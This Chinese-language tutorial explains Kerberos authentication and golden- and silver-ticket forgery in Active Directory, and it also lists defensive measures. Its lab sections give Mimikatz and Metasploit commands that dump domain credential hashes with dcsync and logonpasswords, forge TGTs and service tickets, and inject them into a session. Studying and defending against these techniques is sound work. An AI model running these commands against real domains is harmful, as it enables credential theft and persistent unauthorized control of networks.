域渗透之Kerberos认证和黄金票据
字数 2184 2025-08-11 17:40:10
Kerberos认证与票据伪造技术详解
1. Kerberos认证基础
1.1 Kerberos简介
Kerberos是一种计算机网络授权协议,用于在非安全网络中对个人通信进行安全身份认证。该协议由麻省理工学院开发,已成为Windows Active Directory域服务的核心认证机制。
1.2 关键术语
- AS (Authentication Server):认证服务器
- KDC (Key Distribution Center):密钥分发中心
- TGT (Ticket Granting Ticket):票据授权票据
- TGS (Ticket Granting Server):票据授权服务器
- ACL (Access Control Lists):访问控制列表
- DC (Domain Controller):域控制器
- AD (Active Directory):活动目录
1.3 Kerberos认证流程
-
客户端与AS交互:
- 客户端用密码哈希加密时间戳、客户端和服务端信息发送给AS
- AS验证账号后生成随机密钥1
- AS返回:用客户端密码哈希加密的随机密钥1 + 用krbtgt哈希加密的TGT(包含随机密钥1和时间戳)
-
客户端与TGS交互:
- 客户端解密获得随机密钥1
- 客户端用随机密钥1加密时间戳等信息(信息1)与TGT一起发送给TGS
- TGS用krbtgt哈希解密TGT获得随机密钥1,验证信息1
- 验证通过后生成随机密钥2
- TGS返回:用随机密钥1加密的随机密钥2 + 用服务端哈希加密的ST(包含随机密钥2和时间戳)
-
客户端与服务端交互:
- 客户端解密获得随机密钥2
- 客户端用随机密钥2加密时间戳等信息(信息2)与ST一起发送给服务端
- 服务端用自身哈希解密ST获得随机密钥2,验证信息2
- 验证通过后建立通信
2. 黄金票据(Golden Ticket)攻击
2.1 黄金票据原理
黄金票据是伪造的TGT,利用krbtgt账户的NTLM Hash固定特性:
- 客户端通过AS认证后获得Logon Session Key和TGT
- Logon Session Key不保存在KDC中
- 获取krbtgt的NTLM Hash后可以伪造TGT和Logon Session Key
- 持有金票可跳过AS验证,不受账户密码变更影响
2.2 伪造黄金票据的条件
- 域名称
- 域的SID值
- 域的KRBTGT账号的HASH
- 伪造任意用户名
注:获取SID和KRBTGT HASH需要已有域权限
2.3 黄金票据利用场景
主要用于权限维持阶段:
- 已获取域内所有账户Hash(包括krbtgt)
- 丢失域管权限但仍保留普通域用户权限
- 管理员未重置krbtgt密码
- 可重新获得域管理员权限
2.4 实验操作
使用Mimikatz:
- 信息收集:
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv
- 制作黄金票据:
kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi
- 导入票据:
kerberos::purge
kerberos::ptt C:\Users\ticket.kirbi
使用Metasploit:
- 信息收集:
load kiwi
creds_all
creds_kerberos
kiwi_cmd sekurlsa::logonpasswords
- 域管权限收集:
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt"
kerberos_ticket_list
kerberos_ticket_purge
- 制作并导入金票:
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket
kerberos_ticket_use /home/kali/administrator.ticket
使用CobaltStrike:
注意:CobaltStrike 4.7需在AD上才能抓取krbtgt hash
- 抓取hash
- 执行
shell whoami /all - 制作金票
3. 白银票据(Silver Ticket)攻击
3.1 白银票据原理
白银票据是伪造的ST(服务票据):
- 在Kerberos认证第三步,Client带着ST和Authenticator3请求服务
- Server用自己的Master Key解密ST获得Session Key
- 通过Session Key解密Authenticator3验证身份
- 知道Server用户Hash即可伪造ST,不经过KDC
- 伪造的票据仅对特定服务有效
3.2 伪造白银票据的条件
- 域名
- 域SID(去掉最后的RID)
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 伪造的用户名
3.3 实验操作
使用Mimikatz:
- 获取服务账号Hash:
privilege::debug
sekurlsa::logonpasswords
- 制作CIFS服务白银票据:
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb /service:cifs /user:admin /ptt
4. 金票与银票的区别
| 特性 | 黄金票据 | 白银票据 |
|---|---|---|
| 伪造对象 | TGT | ST |
| 获取权限 | 任意Kerberos访问权限 | 仅指定服务访问权限 |
| 认证流程 | 与KDC交互,不与AS交互 | 不与KDC交互,直接访问Server |
| 加密方式 | 使用krbtgt NTLM Hash加密 | 使用服务账号NTLM Hash加密 |
| 持久性 | 长期有效(直到krbtgt密码重置) | 短期有效(通常10小时) |
| 检测难度 | 较难检测 | 相对容易检测 |
5. 防御措施
-
保护KRBTGT账户:
- 定期更改krbtgt密码(建议每6个月)
- 更改后立即再次更改(避免密码历史冲突)
-
监控与检测:
- 监控异常Kerberos请求
- 检测异常票据请求模式
- 实施SIEM解决方案分析认证日志
-
权限管理:
- 限制域管理员权限
- 实施最小权限原则
- 定期审计特权账户
-
基础设施加固:
- 启用Windows Defender ATP等高级威胁防护
- 实施LSA保护防止凭据转储
- 限制对域控制器的远程访问
-
应急响应:
- 建立票据吊销流程
- 准备应急响应计划
- 定期进行红队演练测试防御措施